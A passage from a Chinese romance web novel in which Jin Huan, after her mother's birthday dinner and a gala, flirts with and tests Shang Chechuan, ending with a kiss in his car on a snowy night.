靳欢心下愧疚,目光一直紧紧盯着他正在水流下冲着的手背,“澈川哥,好点儿了吗?要不要去医院看一下?”
大概是察觉到她的紧张,两步之外,商澈川转过头来,“不用,没烫伤。”
靳欢抿了抿唇,“不放心”几个字就差明明白白写在了脸上。
水流被关上,靳欢感觉他脸上好似有无奈闪过,下一刻,人就走到了自己面前,抬起手让她可以近距离看个仔细,
“不用担心,真的没事。”
手背上有一点点泛红,和周围的皮肤有差别,但还不至于明显,也没有任何鼓泡情况,看来是真的不严重。
靳欢放松了些,“不好意思呀,刚刚只顾着和澄明说话,忘记把这个锅铲递给——呀!”
她低头本是要用目光示意手里的长柄锅铲,结果这一看,才发现锅里的鸭腿肉已经直接炒黑了不少。
而门外已经传来沈云岚的疑惑,“怎么一股焦味?欢欢,是不是你又在浪费食材?”
沈云岚将手里东西一放下,就赶紧到厨房来查看,“说了让你打个下手就行了,这孩子,不会做饭还竟是添乱——”
话说到一半戛然而止,灶台前,商澈川面上有些歉意,
“伯母,是我太久没下厨,有些生疏了。”
竟不是欢欢这孩子在胡乱折腾她以前那些黑暗料理?
沈云岚有些惊讶,闻言看向商澈川,“多大点儿事,听伯母的,你到客厅休息会儿去,我看你这些日子估计又是没好好休息,人都疲倦了些,哎,工作再忙,哪里比得上身体?”
一旁,靳欢目光从商澈川身上掠过,趁机就要溜出厨房,“妈,我去看看爸那里有没有要帮忙的?”
“等下,我手机呢?”
手机?
靳欢转过头来,从厨房门旁边的台子上将手机找到。
意外的是,视频竟然还未挂断。
靳欢扫了一眼,没出镜,直接就先把手机递给了沈云岚。
她出厨房时,身后正传来沈云岚嘱咐商澄明好好吃饭注意身体的声音。
……
千里之隔——
寒夜里,挂断视频后,商澄明看着手机所剩无几的电量,神色有些失落。
本来说要给欢欢看这里的雪夜景色的,也没看上。
身后,见他迟迟未回去,康子显裹着到脚踝的羽绒服找了过来,一见面就大吃一惊,“我去,你不冷啊?刚刚剧务的人找你呢,估计是来要手机的!”
“这就回去。”
商澄明淡淡应下,但转身走了两步突然又站定了步子,抬起手机认真拍了张远处的照片,反复裁剪后才满意发了出去。
备注了消息后仍是不放心,借着手机最后一点电打了电话出去。
幸好对方很快就接通了——
他不等对方开口,就着急道,“哥,刚刚我给你发了一张照片,你帮忙转发给欢欢可以吗?”
照片?雪夜景色么?
通往阳台的玻璃门前,商澈川看着上面映照出来在餐桌旁认真开红酒的窈窕身影,视线一刻也未曾移开,但声音却一如往常,“可以。”
商澄明忙道,“谢谢哥!对了,哥,刚刚我好像听到说你烫到了,没事吧?”
“没事。”
“奥奥,那就好——”商澄明停顿了下,在电话挂断之前,还是问出了口,“哥,你最近见欢欢的次数多吗?”
“怎么?”
“也没什么事——”商澄明压低了声音,“就是我想问问,欢欢现在有没有男朋友?”
虽然有没有他都不会让步,但知己知彼,才能提前做好准备嘛。
“不清楚。”
听到这答案,商澄明倒也不惊讶,他哥本来就把心百分百都放在了工作了,对这些事根本不会留意,估计除非是欢欢把男朋友带回家里介绍给大家时,他才会知晓。
他收拾了下情绪,“嗯好,哥,那你们先吃饭吧,我挂——”
话还未说完,突然察觉到对面好似在迟疑什么,商澄明心下漏了半拍,赶紧追问道,“哥,是有么?”
怕他因为不确定而不愿意说,商澄明干脆换了种问法,“哥,那你有没有见过有什么男的和欢欢走得比较近啊?”
知道依着他的品行
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,应该会把这些事都当做是欢欢的隐私,不会说出口,商澄明再三哀求,连咳嗽打喷嚏被冻得的打寒战这种苦肉计都使了出来,终于磨得对面无奈开口,
“在家里见过面算么?”
“算!”
二十秒后,一挂断电话,商澄明就立马打开浏览器搜索关于言承的消息。
没有任何恋情的内容在意料之中,不过——
在手机提示关机倒计时的最后一刹那,商澄明点进了一则关于言承换了签约公司的娱乐新闻中,维艺?总感觉有点熟悉。
他想了一路,在踏入宿舍时,终于想了起来。
维艺。陈家。陈瑞初。
欢欢最好的朋友。
呵,原来是通过陈瑞初接近的欢欢。
商澄明脸色冷了下来。
……
靳家很少在家里饭桌上喝酒。
但生日嘛,一年又能有几次呢,靳欢自做主开了瓶红酒后,直接不管不顾给每人都斟了一杯。
举杯共祝今日的寿星身体健康万事胜意!
沈云岚被靳欢“胁迫”着把卡通生日帽戴在头顶,愿望许完,蜡烛吹灭,还未反应,便被人偷袭到亲了一大口,她还没来及嗔怪,胳膊上便依偎过来一颗脑袋,蹭得她心里软绵绵,眼角细纹浮现,“多大的一个人了,又来撒娇这一套?”
靳欢不满,“谁规定的长大了就不能撒娇了?”
桌上其他人的一杯红酒才不过喝了一半,唯独她,已是喝完又倒了半杯,脸颊泛起了红晕,眸光却澄澈得如同孩子。
沈云岚见她这般,根本舍不得将人推开,反倒是横了靳泓秋一眼,“都是你惯坏了她,二十多岁的人了,一点儿大人样也没。”
靳泓秋平白无故遭了一通说,也不辩解,只站起身来帮着盛汤,“好了,少喝点酒,多喝点汤。”
靳欢旁边,商澈川见状,忙同样站起身来帮忙拿汤碗。
屋内暖气十足,他身上只穿了西装裤和白衬衫。领口扣子松开一颗,袖口向上挽起。
靳欢侧眸时,正好看见他动作间从袖口处蔓延进去的精瘦肌肉,经过了一段不可见的路程,最后在腰腹处衬衫贴身时才又有了几分若隐若现的轮廓。
她端起酒,在靳泓秋拦住之前,一饮而尽。
18. 桂花
靳泓秋皱眉,她就无辜眨了眨眼,让人没法苛责。
沈云岚看这父女俩的互动笑得停不下来,最后笑够了才把靳欢面前的酒杯收起来,“你不能再喝了,杯子没收了!”
靳欢不同意也没办法,耸了耸肩膀,用汤匙盛了一勺汤准备尝尝味道,但凑到唇边之前,却被人拦住。
手腕被人握住又松开,她歪着脑袋看去,旁边人视线不躲不闪,声色淡淡,“太烫了。”
靳欢“哦”了声。
仿若只把刚刚手腕上传来的炙热温度当做错觉。
自此,再没转头看过去一眼。
……
汤过三巡,饭也吃得吃不多了。
商澈川因为第二天还要出差,拒绝了留宿,靳欢也以第二天要赶去上班为由,要回锦月湾。
在上周时,她便已经和家中说过自己找到工作了,不算顶级,但也是小有名气的律所,足够让沈云岚和靳泓秋放心。
沈云岚之前还埋怨她像个长不大的孩子,现在见靳欢为了第二天上班不迟到这么晚了还要回去,又难免心疼,再三嘱咐,“路上当心,工作上要是受了委屈千万别忍着,听到了没有?”
车内后座上,靳欢趴在车窗口,被这话逗乐,“知晓了,妈妈,你快回屋里吧,外面好冷。”
沈云岚口中应了,却又看向商澈川嘱咐了几句,最后目送司机开车离开才转身回去。
车上,见她关上车窗后就直接合眼似是睡着了,商澈川这才放肆将目光落过去。
手机里万妮达上午发来的消息已经被他彻底清除,但消息内容在他脑海里依旧清晰。
目前,这些讯息应该已经足够让她误会了吧。
“误会”他对她动心。
即使真相上这并非误会。
可抬手揉了揉眉心,却又产生一种不确定来,如果自己从未进入过她的考虑范围,那她大概率即使知晓了也会完全不在乎。
他反复推测之时,旁边,靳欢已经早已经睡熟过去,直到被手机铃声吵醒——
她迷迷糊糊接通,说了几句话后才略微醒了点神,伸了半个懒腰,上半身随意靠在车窗边,听着电话另一端的人讲话。
偶尔应上几句,“好呀”,“没问题嘛”,“有一点想”,“嗯嗯,好,都听你的”。
太过于好脾气,也太过于乖巧,哪怕知晓她将阴奉阳违应用得炉火纯青,听者面上也会忍不住浮现起笑意来。
商澈川当然笑不出来。
此刻,他是旁观者,只有对电话另一端的人嫉妒。
海市,商业晚宴才进行到一半而已。
远处,夜色下的海比白日少了不少喧嚣,海风一层一层地推过来,男人说话间,指尖刚点燃的烟就被风偷去了大半。
他面上带温润笑意,“今天是吃了多少糖?讲话这样好听?”
没吃糖。
只是喝了酒。
靳欢眨眨眼,不应他这话,但是男人却已经自顾自猜了出来,“在家里面喝酒了?”
“唔……一点。”
虽然知晓有着沈云岚和靳泓秋在,她根本没机会多喝,沈维桢仍是执意挂断电话打了视频电话过来。
一接通,他便讶异挑眉,“你在车上?这是要去哪里?”
靳欢嫌弃举着手机太累,直接把手机半架在车门开关处,“回锦月湾。”
沈维桢皱眉不赞同,“既然喝了酒,又这么晚了,何必要回去。”
靳欢辩解了一句“只喝了一点点”,剩下的直接喊了几声“小舅舅”试图含糊过去。
怕说多了她厌烦,沈维桢叹了口气,多问了一句是谁送她回后才同意换了话题,“上次让你加了好友的陈家长孙,后续还有联系吗?”
问完,一见她眼中迷迷糊糊的样子,沈维桢早有心理准备,倒也不惊讶,“月前,你到海市来陪我去石家祝寿时介绍给你认识的那位,名叫陈知尧。”
他这样一说,靳欢才想了起来是哪位,“拉黑了。”
她回答得干脆,沈维桢噎了下,反倒是有种果然如此的感觉,难怪前两日遇见陈家老太太时对方突然阴阳怪气了几句。
他当然不会认为是靳欢的错,“之前接触过几次,看着是个不错的孩子,怎么惹到你了?”
靳欢懒得回忆当时的具体事宜,通用模版拿来就用,“不合眼缘。”
沈维桢失笑,“什么样的才合你眼缘?”
“唔——”车内温度有点高,闹得本来沉寂下去的酒意开始有点蒸腾,靳欢一边动手将搭在身上的大衣拿开,一边随口应道,“身材好,颜值高,一看就很行的。”
镜头之外,靳欢没注意到身旁人因
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为她这话目光瞬间闪烁了下。
镜头之内,沈维桢因她这般直白的话愣住,回神后呵斥了一句,“没遮没掩!”
靳欢不管他,面色理所当然,“食色性也。”
沈维桢本还想说什么,但是余光注意到有人过来,又见靳欢说话时哈欠不断,只能暂且结束了视频。
来人看着他的动作,“好歹让我和小姑娘打个招呼,你这么着急挂干嘛?”
沈维桢不理会他,只另点了一支烟。
梁文郄见状,也不在意,反倒是继续调侃道,“还真是一点没变,小姑娘小时候就是个颜控,长大了还是一样,改日我给她介绍几个?”
沈维桢扫了一眼过去,“你别跟着瞎起哄。”
“这不是好心帮忙吗?”梁文郄说完,突然想到了什么,看向沈维桢,“说起来,靳欢这小孩眼光这么高和你也有关系。”
面对沈维桢的不解,他指了指沈维桢身前玻璃上映照出的身影,解释得有理有据,“你拔高了人家小姑娘的眼界嘛,你自己瞧瞧,刚刚小姑娘那要求是不是比照你来说的?”
沈维桢目光掠过,留下一声“胡言乱语”后直接掐了烟转身往大厅内走去。
……
自挂断视频后,靳欢直接一觉睡到了目的地。
她下车,转身要道谢时,却发现商澈川也跟着一起下来了。
“澈川哥?”
“送你上去。”
看着他率先迈开的步伐,靳欢眼中留存的困意略微消散了些,慢悠悠跟了上去。
电梯转眼就到——
玄关处,靳欢随意甩掉脚上的鞋子,抬头看见上来送她的人转身要走时,眸光闪烁了下,忽然开口将人喊住——
“澈川哥,你头发上沾了东西。”
商澈川脚步停住,顺着她目光抬手摸了摸,却并未发现什么异常。
靳欢笑了下,“是这里啦!”
说话间,直接踮起脚抬起手,指尖向着他发丝探去。
商澈川第一时间没来得及躲避,第二时间已经不舍得躲避,头发上若有若无的触觉外,是她带着酒香的呼吸喷在耳侧。
他尽力克制着骤紧的呼吸,还来不及多想,耳侧便已经重回空落。
靳欢歪了歪脑袋,把手心摊开给他看,“呀,原来是一朵桂花!”
19. 苦修
商澈川垂眸看去,脑中在试图回忆靳家门前的那棵桂树上究竟是否还有花朵留存,但眼前人根本不给他思索的机会。
她似乎对手心的花朵很是好奇,鼻尖凑近手心闻了闻。
桂花嫩黄花瓣被她鼻翼碰到,微微颤抖了下。
商澈川没由来感觉耳侧在一点点的升温,有那么一瞬间,仿若被她鼻尖吻到的是自己的耳尖。
可偏偏眼前人神情认真,半点杂质也无,只像是在纯粹研究桂花的香味。
商澈川别开目光,逼着自己开口道别,话出口后才想起还有一事——
哈市郊区雪夜的照片。
他并未转发给她,而是选择了当面拿给她看,就是以为她只会随意扫一眼就足够了。
可事实上,靳欢不仅接过手机看的仔细,还顺便转发给了她自己,然后才将手机还回,笑眼盈盈,
“谢谢澈川哥!”
……
下去的电梯里——
商澈川定定看着通信软件的消息页面,白色背景里,唯一一行灰色置顶,备注是“欢”。
她在转发照片时究竟有无注意到?
还是说仍是根本不在意?
这种念头一出现,他心里顿时下沉了几分。
靳欢的电话就是在此刻突然打了过来,商澈川压下心中思绪,点了接通,
“喂?”
楼上,靳欢正光着脚站在浴室里,花洒水流细密温和,落在脚上将裙摆都熏染得湿漉漉的,听到电话里传来的声音后,她随手关上了水,情绪无需酝酿,张口就来,
“澈川哥,你知道Denden具体在什么地方排练吗?”
“怎么?”
“也没什么……就是我想去看看他。”
像是犹豫很久还是忍不住想要去见他的摸样,也因此衬托得下一句话像是多余的掩饰,“刚好我最近一周也没事嘛。”
半分钟后,电话挂断。
靳欢晃着脚等待暖风吹干,看着通话记录,眉眼间尽是开怀。
说实话,若不是今天上午在家里面自己突然收到瑞初发来的消息,说她前两日一起出去吃饭时,随手用来固定碎发的发夹好像是港城设计师万妮达新季发布会上的非卖品,自己怕是根本不会多想。
那枚发夹,就是上次商澈川送自己的那枚。
据说只那一枚,在即将送上展台的半小时被人直接买走。
如果只是因为她的发夹丢在了他车上,他为了补偿送了一个,用不着费这种功夫吧?
连瑞初也是因为最近在挑选生日会的首饰,又刚好和万妮达认识,所以今天才从万妮达口中偶然得知。
哪怕是听到这件事后,靳欢其实都仍是不大相信,总感觉或许只是巧合?
真正让她觉察到不对的,是在家中她在桌子边开红酒时,从多宝阁的摆件镜面上看到他人在玻璃门前却暗中落过来的视线。
现在知晓结果,再进行时间追溯,她才发现,自从这次回国后好似和商澈川见面的次数确实很多。
而刚刚的通话里,她没得到具体的地址也在她的意料之中,更何况,她打电话过去也不是为了要问一个她早就知道的地址。
她只是在等,等他忍不住主动。
既然只是玩一下,那就谁先忍不住谁就要做好让步的准备。
主动者,被动。
她又不是十六七岁的单纯少女,自然不会认为商澈川对自己有什么爱情一说,倘若真喜欢自己,干嘛前几年里都毫无动静?
说白了,她猜测他和自己一样大抵也是见面后因色起意,只是对方性格一向沉稳内敛,竟能忍住这么久不露苗头。
这样她都有点好奇了,要是自己一直不发现,他是不是就打算直接忍到兴趣消散,当做从未存在。
大概他的守则里,支持禁欲和苦修?
靳欢想来想去思绪缠成一团,最后干脆摇摇头全部甩出去。
她反正不管这些乱七八糟的,她本来只是单纯的心动,现在反而有种偏要看看他打破守则摸样的冲动。
人生苦短,及时行乐,这才是她的守则。
靳欢舒服伸了个懒腰,还有什么比本来一件很麻烦的事情现在忽然变简单了更让人愉悦呢?
去接近一个一心怀念白月光的情深之人她怕麻烦缠身,但是和一个也会因诱惑而摇摆的俗人试一试凡人情爱她就没什么心理压力了。
你情我愿,少去许多不必要的纠缠。
她心情好,连带着看不知何时又重新粘在自己针织裙上的那枚桂花都顺眼不少。现在是十一月份,京市户外怎么可能还有桂花,这一朵,其实是她溜进家里书房时,衣裳不小心蹭到了她爸养在书
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桌上的那盆四季桂时沾上的。
浴缸里的水已经放满,但是她根本不想进去,扔掉手机,到储物间将画架搬出来,就着愉悦的心境,对着月光不急不慢地下笔。
……
消息来的比靳欢预想中还要早。
睡到中午醒来,靳欢正准备找手机叫个外卖,一解锁就看见了商澈川发来的消息,问她后日晚上是否有时间陪他出席一场活动。
中荆集团的四十二周年小庆。
这个她之前倒是听小舅舅提起过一二,说是中荆今年的周年庆不在港城,而是选择了在京市举办。
靳欢稍微想了下,就大概明白了,估计商澈川去参加这个是港城靳家老爷子安排他去的,不过依着靳家老爷子的性子,安排他去参加这个,竟然没直接给他指定一个女伴么?
她有疑问,就直接电话过去问出了口。
对面回复得也很坦然,“爷爷指定的是梁穆洁,但她昨日和女朋友去国外领证去了,暂时回不来。”
啊?
靳欢一个没忍住,险些被温水呛到,“真的假的?”
“真的。”
靳欢本来以为这就是他的主动,但现在听他话中隐约流露出的一丝头疼,突然有了几分怀疑,难不成真的只是巧合?
她回过神来,故意犹豫了才开口,“澈川哥,可能不大方便,后日我已经有其他安排了。”
对面沉默了两秒,“没关系。”
完全不提之前她还答应过他有什么能帮上忙的一定帮的事情,也不追问她后日是何安排,保持了足够的疏离和绅士风度。
电话挂断,靳欢盯着手机屏幕看了几眼,在通讯录里找到小舅舅,直接发了消息过去,“小舅舅,你认识梁穆洁吗?”
对面大抵在忙,过了半小时后才回复,
“认识,怎么了?”
“她和女朋友去国外领证去了?”
“有所耳闻,你问这个做什么?”
竟然还真是真的。
靳欢叉了一颗圣女果放入口中,迅速打字回复,“没事儿,我就随便问问啦。”
放下手机后,靳欢顿时感到有点儿头疼,早知道不该拒绝得那么直接的,现在想要再重新应下来的话,不管找什么理由都好似有些刻意。
除非——
她眸子亮堂起来。
21. 试探
靳欢下意识回头,“多谢”两个字在看见来人后多了些惊讶,“澈川哥?”
她脸上适才和人玩闹时的笑意还未散尽,眼尾隐隐留有笑出来的水意,商澈川目光扫过,勉强压住嫉妒,“没摔到吧?”
靳欢摇摇头,“没——”
但她刚开口就被梁文豪打断,“欢欢,你扶着我,我帮你系上鞋带——”
新鞋子上带有系带,靳欢身上穿的礼服长裙,的确不方便自己弯腰去弄。
梁文豪自己更是不在意,梁沈两家本就相熟,梁文豪他亲哥又和靳欢小舅舅沈维桢是多年好友,梁文豪虽然靳欢还小一岁,但小时候靳欢到港城小住时,他一直骄傲以靳欢的“长辈”自居。
为了靳欢喊不喊他小叔的问题,两人打打闹闹不知多少次,熟得不能再熟。
靳欢也不和他客气,闻言正要扶住他肩膀,胳臂却被人拦住去路,她抬眸看去,商澈川神色淡然,仿若扶住她胳膊的不是他,
“小心。”
“你——”梁文豪听见声音抬头看见这一幕,当即就要隔开他,“你谁啊?”
靳欢诧异,“你们不认识?”
梁文豪不满,“我为什么要认识他?”
他语气不大好,倒是衬得商澈川情绪格外稳定,他看向靳欢解释道,“我和梁先生之前还未见过面。”
靳欢起初感觉不可思议,后面一想梁文豪成年在国外混迹,也不沾家里生意的事,可能还真没过交集,于是开口给双方都介绍了一遍。
面虽没见过,但名字总听闻过一二吧?
是听过。
还是从她口中。
梁文豪脱口而出,“这就是之前你说想睡的那个?”
啊?自己什么时候说过这话?
空气尴尬凝滞,靳欢赶紧反驳,“梁文豪,你胡诌什么呢?!”
梁文豪还想辩解,但反应过来时机不合适,主动打了个哈哈哈,错开话题,“你这样站着腿不累啊?快把另外一个鞋子换上!”
看着靳欢把鞋子换好,梁文豪正要给她把这只鞋的系带系上,但刚弯下腰,还没碰到,就忽然听得靳欢身侧人开了口,
“那边是梁总么?”
梁文豪顺着他示意看去,被吓得差点一屁股坐在地上,靳欢都还没反应过来,就听他扔下一句“别和我哥说我在”后人就直接躲没影了。
靳欢歪歪脑袋,低头看了眼鞋子,认命小心提起裙摆,正要试着蹲下时,耳边却传来一声“扶着我”。
本来被他扶住的胳膊被他牵引着放在他肩膀,他屈膝蹲下,垂在脚踝处的丝绒系带被他指尖勾起。
丝带在修长手指间起落,几个回转间,化成漂亮的蝴蝶。
他抬眸看着她,“松紧合适么?”
最淡漠的神情做这样的姿态说这样的话,靳欢忽然觉得梁文豪拿过来的这件披肩有些太厚实了些。
让她有些热。
血液里的蠢蠢欲动又在作祟,被他吸引,同时又想……彻底毁灭掉他这幅禁欲模样。
她太熟悉这种感觉了,只有得到了厌倦后,才能彻底永不复发地消停下来。
……
靳欢招招手,让侍应生送了酒过来。
商澈川不喝,她也不意外,自己拿了杯香槟,连着喝了三四口,才觉得冷静了些。
身旁人没主动说话,但是却也没走开。她怀疑他是故意留下,但偏偏找不到证据。不远处乐团已经在弹奏,是经典的舞曲,靳欢探头看了眼,已经有人三三两两进入舞池。
商澈川却迟迟不开口邀请她。
靳欢明着叹了口气,引得他转头看来,“怎么了?”
靳欢本是要说想去跳舞却没有舞伴,但话到了唇边看着他略带关怀但是却丝毫看不出其他情绪异样的眼眸时,突然起了胜负欲,直接转了话头,“没什么,就是感觉太无聊了,澈川哥,我先去那边走走了?”
他不开口就算了,爱跳不跳,反正她还从没出现过找不到舞伴的情况。
靳欢话音落下,丝毫犹豫也无,直接转身就走。
几乎在她刚迈开步子,从花廊后现出身来,就有人迎了上来——
“我说谁呢,原来是靳大小姐,不知道有没有荣幸请靳小姐跳个舞?”
靳欢挑眉,“可以呀。”
见靳欢同意,林望屿立马绅士接过了她手中的酒杯转身帮忙放在一旁,只是再过来牵人时,忽然被人抢了先。
他错愕多于生气,“澈川,你干什么?”
商澈川淡淡看过去一眼,示意他回头。
林望屿这才想起刚刚自己一看到靳欢在这里,就想过来打探打探她和商澄明的近况,忘记和自己带过来的朋友说一声了。
他不想放过这个机会,但犹豫的一两秒里,商澈川已经率先迈开了步子。
靳欢感受到他手上干燥的温度,脚下却丝毫不动,“澈川哥?”
她手上已经完全松了力道,若非商澈川反过来及时握紧,早就已经滑落。
商澈川站定步子,转过头来看她,声音低沉,
“不是要去跳舞吗?”
一旁,被朋友拉去询问的林望屿瞧见这一幕,心里忍不住吐槽,以前自己要个靳欢的联系方式都被商澈川拦住,说让他这个花花公子别带坏了靳欢,没想到现在还是这样,他也不想想,他把靳欢当妹妹护着,靳欢心可是在商澄明那儿!
他满心为商澈川不平,但舞池里,商澈川已经根本分不出的注意力在旁的事情上。
他要集中精神应对,才不至于在靳欢面前彻底丢盔卸甲。
她在试探自己,他知道。
但被她试探到哪一步,他必须把握好分寸。
可舞池里,他可以装作眼神冷静,也可以维持动作一规一矩,但是生理上炙热的呼吸却无论如何也难以掩饰,早晚要露馅露得干净。
只是他舍不得下场。
他后悔没喝点酒做掩饰。
好在,靳欢喝了不少酒,一场舞曲下来,全然忘记了不久前还和商澈川“较劲”的事儿,只顾着跟着音乐享受快乐。
好似哪怕面前的舞伴换了一个人,对她来讲也没差。
商澈川也意识到了这个事实,手下下意识握得更紧。
靳欢感觉到,眉头微皱,不舒服地动了动手指,“澈川哥,你累了吗?如果累了那我——”
“不累。”
像是怕她听不清,他微微偏了偏头,将声音送到她耳朵边上来。
靳欢怕痒,“呀”了声要躲开,却被人拉了回来。
商澈川下巴几乎蹭到她侧脸,“刚刚后面有人。”
酒意昏昏下,靳欢后知后觉“哦”了声,还想再问时,下一曲音乐已经响起,他已经迈开了舞步,却又故意凑近问她,装模作样给她选择的机会,“还跳么?”
……
跳到尽兴。
下来休息时,靳欢直接又喝了一杯酒。
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>她明显有了几分醉意的情况下,商澈川更是不可能离开她半步。
抬手将她身上披肩重新拢了拢,商澈川拿过她手中酒杯,“带司机了吗?”
靳欢眨了眨眼睛,“司机跑路了。”
她拿到邀请函后,直接把梁文豪从港城喊过来做男伴兼职司机,结果没想到梁小叔也在,把梁文豪这个胆小鬼吓到没影了。
“坐我车回去?”
靳欢点头,“好。”
太乖巧了,商澈川嗓间紧了紧,“还冷么?”
适才下场后来休息室,她经过过道时喊了声冷。
靳欢将脑袋靠在椅子背上,仰着头看他,“不冷了。”
商澈川看了眼时间,现在也差不多到了可以离场的时间,他让侍应生把她的外套拿过来,正要说话,靳欢的手机却先一步响起。
是沈维桢。
靳欢点了接通,“小舅舅?”
沈维桢明显愣了下,“你喝多了?”
说是问其实已经是肯定,不等靳欢回答,他的下一句就已经来到,“这样的场合,你怎么喝了这么多酒?”
靳欢心虚。
她的确喜欢喝酒,但以前也确实从未在这种宴会上喝多过,今天大概是想着反正商澈川在,喝多了也没事,就放松了些。
毕竟他这人,一直以来都非常靠谱。
电话那端,沈维桢生气本也是因为担心,又问梁文豪在不在,见靳欢迟疑,他更是气上加气,“你现在先别动,你梁小叔应该还没走,我让他过来送你回家。”
靳欢忙拦住,“不用了,小舅舅,等下我和澈川哥一起回去。”
“商澈川也在?”
靳欢“唔”了声,“好啦,我现在就回去了,小舅舅,等明天我再给你打电话。”
国外——
下着小雨,又是凌晨三点,往下看去,街道上基本已经没了人影。
沈维桢本是开了窗想要吹夜风清醒一下,现在一个电话下来,直接半分睡意也无。
他看着被挂断的电话,眉头皱起,最近两次欢欢喝醉酒怎么商澈川都在?
想了下,还是不放心,直接又给梁文郄去了个电话,但是却从梁文郄口中得知人已经走了。
他眉头几乎成了死结,梁文郄察觉出来,安慰道,“你放心好了,我问了石家的人,小姑娘确实是和商澈川一起走的……现在你那儿不是半夜么?你赶快睡觉去吧,少操心了。”
沈维桢还欲说什么,梁文郄已经先一步开口,“挂了哈,我这边有点事。”
车上,座位对面,最后还是被抓到了的梁文豪小心翼翼凑近了些,“哥,刚刚是维桢哥打来的?”
梁文郄压下眼中担忧,直接扫了一眼过去,“坐好,还是你想现在就算算账?”
梁文豪被吓到,赶紧老实坐回去,“别别别,嫂子也在,你好歹给我留点面子吧?”
旁边,女子妆容精致,闻言浅浅笑了下,“先回去再说吧,看外面像是下雪,晚了路怕是不好走。”
……
刚出发没多久就下起了雪。
这场一迟再迟的寒潮虽然已经多次出现在气象新闻里,但真正来临这一刻,仍是带着一种莫名的新鲜感,好似寒潮来了,一个新的开端也来了。
京市年年都下雪,但年年第一场冬雪总有人会忍不住驻足。
靳欢喜欢下雪天,但现在她的注意力全部在旁处,还未来得及分出一丝余光看向窗外。
22. 体温
商澈川带来的司机去开她的车去了,现在这辆车上只他们两个人。
一个专注开车,一个却在专注于找糖。
别的味道的不行,必须要荔枝味的糖。
她找了几个地方都找不到,开始怀疑糖被商澈川藏起来了,非要去翻一翻他那边的储物格子。好在醉成这样还留有安全意识,在侧身过去前不忘催促着人先把车停到路边空旷处。
可是翻了一圈还是没有。
她坐在副驾驶上叹气,怏怏不乐,商澈川转头看她,“怎么这么喜欢吃糖?”
靳欢懒洋洋,只抬着一双带着醉意的眼眸看着他,一个字也不说,像是任由他自己去猜。猜不到她也不会解释,猜得到也不会得到她的奖赏。
想要她的赏赐,除非拿她感兴趣的东西去换。
比如一罐彩色玻璃纸包装的荔枝味软糖。
靳欢眼睛瞬间亮了起来,“谢谢澈川哥!”
她伸手去拿,却被人躲开。
商澈川看着她的眼睛,忽然想起那次带着喝醉了的她从澜悦出来,也是在车上,也是这样的时刻,她直接主动吻了过来换走一颗糖。
不同的是,那次她把他错认为了商澄明。
如果是现在这样的并未醉到认错人呢?她会不会——
他呼吸紧了几分。
可靳欢只是歪着脑袋看着他,定定几秒,在这种时刻脑子反倒是清醒了几分,不退反攻,
“澈川哥,你不是从不吃甜食吗?”
商澈川眉梢微动,自顾自挑了一颗,“谁说我不吃?”
靳欢不信他真吃,“Denden说的。”
听到碍耳朵的名字,商澈川眸色渐沉,未曾反驳这话是真是假,直接把剥开的软糖放入了口中。
糖果融化,浓郁的荔枝味四散开来。
太甜了,商澈川极力忍住皱眉的冲动,但下一瞬立马忘却了口中的感官不适——
靳欢最爱眼睛生得好看的人,但其实她自己的眼睛本身就已经足够好看,陈瑞初就曾真心疑惑过,靳欢何必要在别人脸上找什么画画的灵感,直接照照镜子看看自己不比什么都强?
她的眼睛眼尾走势微微下垂,浓密睫毛在浅浅的眼尾沟处恰到好处地翘起,下睫影摇曳下,是一枚只有醉酒时才会略微显形的泪痣。
太小了,但现在她的鼻尖几乎蹭在他的鼻梁上,这样的距离,足够他观察得清晰。
他想知道,吻在上面是什么味道,这种渴望掌控着他,让他明明知晓身后还有空间可以避让,但是却舍不得后仰半分。
商澈川一开口,才发现嗓子哑得厉害,“你喝醉了——”
靳欢轻笑了声,微微眯着眼,透着睫毛斜睨他脸颊,像是根本没听到他声音,只是在犹豫要亲在何处。
就眉骨吧,那晚在家门口准备下车时,她就为此心痒过。
拿定主意,毫不犹豫——
最后一刻,纠缠在一起的呼吸被迫分开。
从没想过的结果,让靳欢脑袋懵懵好一会才反应过来,她难以置信看向窗外,修长身影背对着她半倚在车门上,指尖香烟火光闪烁,却并未见他送入口中。
这么好心,点了请给山风么?
也是在这时,靳欢才发觉窗外在飘雪,那罐软糖也在他下车前放在了她怀中。
她低头看了两眼,挑了一颗出来,慢条斯理地打开,放入口中,期待中的味道。不过现在,她有更想要的东西。
车外,余光可以从后视镜中看见车内人的身影。
她剥开糖时的纤细白皙指尖,她垂眸看着糖果时微微颤抖的睫羽,她抬眼看过来时湿漉漉的眸子。
她在按下车窗玻璃——
商澈川呼吸皱紧,强制自己移开目光。
车里人伸出手在轻轻扯他的衣角——
商澈川心跳乱做一团,心中瞬间百般念头闪过,仅凭最后一丝理智在重复警戒他不可以回头。
车里人像是在和他说话,又像是在自言自语,
“我小时候长虫吃牙,我妈知道后不准我再吃任何糖,我就偷偷地吃,把糖藏得到处都是,后来就越吃越上瘾,到现在都戒不掉。”
“哎,不过也就是因为长虫牙提前拔了两颗乳牙,让我现在都害怕看牙医,长了智齿也不敢去拔。”
“这颗智齿有点尖,感觉好奇怪。”
她张开嘴巴,用手指向最里侧的一颗牙,声音含糊,“呐,就是这一颗!”
商澈川没忍住看了一眼,只一眼,就再也移不开。莹润红唇,舌尖卷着软糖,说起那颗智齿时可怜兮兮的眼眸,都在逼着他回头。
雪落在他眼睛上,烫得他发抖。
偏偏身后人在这里又扯了扯他衣角,她语气委屈,“澈川哥,我手冷——”
软软的尾音彻底钩去他最后一丝理智。
隔着车门,唇/齿纠缠,炙热到雪花落下即融化。
靳欢脸上红晕一路蔓延到耳根,有些喘不过气地挣扎,被呛出的泪花沾湿了眼睫,她想要后退,却被人挡住归路,被带着继续沉迷。
靳欢总觉得哪里不对劲,用了力道咬了一下,面前人吃痛,却仍旧紧紧盯着她眼眸,“怎么?”
他身后都是夜色,她根本看不清他眼底神色,靳欢借机喘了口气,试图找回主动权,“澈川哥?”
“嗯。”
他又吻上来。
靳欢声音含糊不清,“梁文豪其实也不全是胡诌。”
商澈川没听清,贴在她耳侧又问了一遍,“什么?”
靳欢被他这幅摸样诱惑到,忘却刚刚的不对劲,鼻尖故意在他喉结处轻蹭,“我的确想睡你。”
时间似乎静止了几秒,
“还有么?”
还有什么?靳欢不解,“去你家可以吗?”
她看不清他的脸色,只隐约感觉他像是笑了声。
靳欢皱眉,以为他在犹豫,若是别人,她直接转身就走了,但眼前这个她已经惦记太久了,在这种兴头上,她愿意退让一点,
“那去我家?”
还是不点头?
